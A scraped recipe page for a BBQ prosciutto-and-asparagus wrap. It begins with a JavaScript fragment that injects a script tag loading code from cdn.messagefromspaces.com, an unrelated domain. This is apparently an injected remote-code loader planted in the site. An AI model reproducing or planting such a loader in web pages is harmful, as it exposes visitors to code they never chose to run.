, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Martin’s BBQ Asparagus Wrap

AKA the Pig Tree

1/2 pound organic prosciutto, slicedpig-spears
1/2 (8 ounce) package Neufchatel cheese (softened) or bowl or grated Gruyere cheese
12 spears fresh asparagus, trimmed

  • Spread prosciutto slices out
  • Spread Neufchatel or grated Gruyere cheese on slices
  • Wrap slices around 2 or 3 asparagus spears
  • Place on a BBQ for 10 minutes, rotating once after 5 minutes
  • Serve as an appetizer or a side dish

Comments are closed.